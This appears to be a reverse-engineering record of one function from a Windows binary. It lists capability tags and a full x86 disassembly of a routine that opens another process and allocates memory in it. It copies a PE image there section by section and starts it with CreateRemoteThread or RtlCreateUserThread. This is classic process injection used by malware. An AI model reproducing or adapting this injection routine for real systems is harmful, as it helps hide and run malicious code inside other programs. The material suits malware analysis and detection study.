Function at 0x10024cc0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
mov edi, eax
xor eax, eax
mov dword [ebp - 4], eax
test edi, edi
je 0x10024f0e
cmp dword [ebp + 8], eax
je 0x10024f0e
cmp dword [ebp + 0xc], eax
je 0x10024f0e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
mov eax, edi
call fcn.10025680
test eax, eax
jne 0x10024d07
push 0x64
call ebx
inc esi
cmp esi, 0x1e
jl 0x10024cf2
mov eax, edi
call fcn.10025680
test eax, eax
je 0x10024f09
push edi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x10024f09
push str.kernel32.dll
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10024d68
push str.IsWow64Process
push eax
call edi
mov ebx, eax
test ebx, ebx
je 0x10024d68
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
cmp dword [ebp + 0xc], 0
je 0x10024da1
push str.kernel32.dll
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10024d97
push str.IsWow64Process
push eax
call edi
test eax, eax
je 0x10024d97
lea ecx, [ebp + 0xc]
push ecx
push esi
call eax
cmp dword [ebp + 0xc], 0
je 0x10024ee6
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x3c]
add ebx, eax
xor edx, edx
push 0x40
mov dword [ebx + 0x58], 0
mov word [eax], dx
mov eax, dword [ebx + 0x50]
push 0x3000
push eax
push edx
push esi
mov dword [ebx], edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x10024ee6
mov ecx, dword [ebx + 0x54]
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push ecx
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 0x14]
xor ecx, ecx
lea eax, [eax + ebx + 0x18]
mov dword [ebp + 0xc], 0
cmp cx, word [ebx + 6]
jae 0x10024e70
lea esi, [eax + 8]
mov edx, dword [esi]
push 4
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10024e58
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
add ecx, dword [ebp + 8]
push eax
push ecx
push edi
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add ecx, dword [ebp - 8]
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 0xc]
push eax
push edi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 0xc]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp + 0xc], eax
cmp eax, ecx
jl 0x10024e05
mov edi, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebx + 0x28]
push 0
push 0
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x10024ec4
lea edx, [ebp + 8]
push edx
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10024ebb
test byte [ebp + 8], 2
jne 0x10024ebb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 1
jmp 0x10024ee6
push 0
push 0
push 0
push ebx
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 4], ecx
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10024f09
test byte [ebp + 8], 2
jne 0x10024f09
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 8